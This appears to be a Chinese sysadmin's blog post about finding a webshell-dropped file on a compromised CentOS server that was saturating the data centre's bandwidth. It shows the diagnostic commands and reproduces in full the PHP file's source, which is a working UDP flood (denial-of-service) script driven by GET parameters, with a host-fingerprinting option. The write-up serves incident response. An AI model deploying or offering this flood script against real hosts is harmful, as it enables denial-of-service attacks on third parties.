今天早上五点，收到监控宝的警告短信，说是网站M无法访问了。睡的正香，再说网站所在系统是centos，重要数据每天都备份，应该很安全，也没有在意。倒头接着睡觉去了。
早上九点，机房负责人直接给我打来电话，说是全机房网络巨慢，单位的所有网站都打不开或打开的很慢。Centos服务器被挂马的一次抓马经历。
我赶紧赶了过去，查看了一下那里网络，发现175服务总是以50M/S速度向外发包，而175服务器正是网站M所在的服务器。
果断SSH连接175服务器，发现175服务器连接也很慢，连上之后top一下，查看cpu负载：
top
发现有两个apache进程占用cpu一直在40%以上，马上停止httpd 服务
service httpd stop
停止httpd服务之后，再看网络状态，175服务器也不向外发包了，一切正常。
由此判断应该是175服务器挂了马，疯狂向外发包，挤占了全部机房带宽。
下一步就是抓马了！
175服务器是有硬件防火墙，只开http80跟ssh22端口，ssh不太可能被盗号，应该是通过web漏洞挂马。早上5点才中招的，木马程序文件应该在1天之内。
切到M站点根目录之下，查找最近一天内变动的文件，执行
find ./ -mtime -1
果然，一个名为phzLtoxn.php的可疑文件出现在目录列表中。查看一下木马程序的创建者，执行
ls -l phzLtoxn.php
这里发现文件就没了，难道这文件还会自我销毁？Centos服务器被挂马的一次抓马经历
原来发生了一个小插曲，隔壁的管理员小黄也注意到这个文件，二话不说就删除了。我过去劈头批评教育了小黄一顿。见了木马程序就知道删删删删！难道木马程序不会再生成啊？你得顺藤摸瓜，不是一刀切。你得找到漏洞源头！删了没办法，再把httpd服务开启了，引狼入室，等等看能否再生成。
果然，半小时不到，新的phzLtoxn.PHP文件又生成了。查看了一下，文件创建者是apache,由此判断这肯定是通过网站漏洞上传的。
分析一下木马文件，看下黑客意图
这里贴出phzLtoxn.php文件源代码，并作了简单注释，仅作学习之用。
<?php
//设置脚本运行时间
set_time_limit(999999);
//攻击目标服务器ip
$host = $_GET['host'];
//攻击目标服务器端口
$port = $_GET['port'];
//攻击时长
$exec_time = $_GET['time'];
//每次发送字节数
$Sendlen = 65535;
$packets = 0;
//设置客户机断开不终止脚本的执行
ignore_user_abort(TRUE);
//step1. 目标服务器$host、端口$port、运行时长$exec_time有效性
if (StrLen($host) == 0 or StrLen($port) == 0 or StrLen($exec_time) == 0) {
if (StrLen($_GET['rat']) <> 0) {
echo $_GET['rat'] . $_SERVER["HTTP_HOST"] . "|" . GetHostByName($_SERVER['SERVER_NAME']) . "|" . php_uname() . "|" . $_SERVER['SERVER_software'] . $_GET['rat'];
exit;
}
echo "Warning to: opening";
exit;
}
//step2. 设定发字符串$out,这里是“AAAAAAAAAA...”
for ($i = 0; $i < $Sendlen; $i++) {
$out .= "A";
}
$max_time = time() + $exec_time;
//step3. 进行攻击,使用udp向目标服务器狠狠发串串
while (1) {
$packets++;
if (time() > $max_time) {
break;
}
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
if ($fp) {
fwrite($fp, $out);
fclose($fp);
}
}
//step4. 攻击统计
echo "Send Host $host:$port<br><br>";
echo "Send Flow $packets * ($Sendlen/1024=" . round($Sendlen / 1024, 2) . ")kb / 1024 = " . round($packets * $Sendlen / 1024 / 1024, 2) . " mb<br><br>";
echo "Send Rate " . round($packets / $exec_time, 2) . " packs/s" . round($packets / $exec_time * $Sendlen / 1024 / 1024, 2) . " mb/s";
?>
